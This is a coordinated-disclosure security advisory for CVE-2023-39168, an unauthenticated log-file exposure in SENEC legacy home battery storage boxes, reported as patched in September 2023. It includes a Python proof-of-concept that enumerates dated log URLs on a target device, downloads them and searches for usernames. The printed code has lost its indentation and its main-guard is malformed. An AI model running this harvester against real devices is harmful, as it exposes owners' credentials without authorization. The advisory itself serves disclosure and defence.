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Advisory ID: Ph0s-2023-002
Product: EnBw - SENEC legacy storage box: V1-V3
Manufacturer: SENEC - a part of EnBw
Affected Version(s): Firmware: all (as of 2023-06-19)
Tested Version(s): current
Vulnerability Type: CWE-200: Exposure of Sensitive Information to an
Unauthorized Actor

Risk Level: CVSS v3.1 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)

Manufacturer Risk Level Rating:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RL:T/RC:C
Overall CVSS Score: 7.2

Solution Status: Fixed
Manufacturer Notification: 2023-06-05
Public Disclosure: 2023-11-01
CVE Reference: CVE-2023-39168
Author of Advisory: Ph0s[4], R0ckE7

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Overview:
Foreword:
This vulnerability was reported to the enbw-cert. we would like to
thank enbw-cert for taking care of the vulns and patch the systems.
we decided to publish when most of the reported vulns are patched
to make sure nobody is harmed when 3rdparys exploit the mentioned vulns.

About Senec:
We are SENEC

We have been the EnBW energy independence experts since 2018 – but we have
put our heart and soul into guiding customers on the route to independence
since SENEC was founded in 2009. Our passion lies in actively promoting the
energy transition with innovative ideas and pioneering products. And,
because we don’t do things by halves, our unwavering ambition is to create
integrated solutions that enable you to enjoy the highest possible degree
of independence and sustainability through self-generation of solar
electricity.

About SENEC Home:

SENEC.Home: The smart electricity storage device for your home

SENEC.Home is the heart of the your sustainable, affordable supply of solar
electricity. The smart battery storage device stores excess electricity
generated by your PV system so that you can use it when you need it – such as
when your household’s energy consumption rises in the evening, or on rainy days
when your PV system generates less power.

********************************************************************************

Vulnerability Details:

As already stated in CVE-2023-39167, no authentication is required to access log
information. Therefore, and due to the predictable URL scheme, it is possible
for an attacker to download all existing log files to obtain the username.

********************************************************************************

Proof of Concept (PoC):

The attack consists of the following steps:

1. parse the script using this PoC Code to obtail the username:
import argparse
import datetime
import os
import requests

def get_senec_logs(senec_ip, day_range, break_on_username):
start_date = datetime.datetime.today()
end_date = start_date - datetime.timedelta(days=day_range)
delta = datetime.timedelta(days=1)

while end_date < start_date:
try:
senec_url = f"http://{senec_ip}/log/{start_date.strftime('%Y')}/" \
f"{start_date.strftime('%m')}/{start_date.strftime('%d')}.log"
r = requests.get(senec_url)
print(f"HTTP Status Code {r.status_code}: {senec_url}")

if r.status_code != 200: break
if r.headers["Content-Length"] == "0": break

os.makedirs(os.path.dirname(senec_url.replace("http://";, "")), exist_ok=True)
with open(senec_url.replace("http://";, ""), "wb") as senec_log_file:
senec_log_file.write(r.content)
offset = r.content.find(bytes("username:", "utf-8"))
if offset != -1:
print(f"Username found in {senec_log_file.name} at offset {offset}")
if break_on_username: break
except requests.ConnectionError:
print("Failed to connect to SENEC.Inverter")
break
except Exception as e:
print(f"An unhandled exception occurred:\n{e}")
break
start_date -= delta

if name == 'main':
parser = argparse.ArgumentParser(description="Download SENEC.Inverter log files")
parser.add_argument("ip", type=str, help="IP address of the target SENEC.Inverter")
parser.add_argument("-b", "--break-on-username", action="store_true", default=False, required=False,
help="stop downloading once a username is found")
parser.add_argument("-d", "--day-range", type=int, action="store", default=365 * 20, required=False,
help="number of days to download log files in reverse order starting today")
args = parser.parse_args()
get_senec_logs(args.ip, args.day_range, args.break_on_username)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:
Patched by Manufacturer
(Rolled out until September 11, 2023)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2022-06-01: Vulnerability discovered
2023-06-05: Vulnerability reported to manufacturer
2023-09-11: Patch rollout by manufacturer to affected devices
2023-11-01: Public disclosure of vulnerability

************************************************************************

Researcher:
Ph0s[4], R0ckE7

************************************************************************

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
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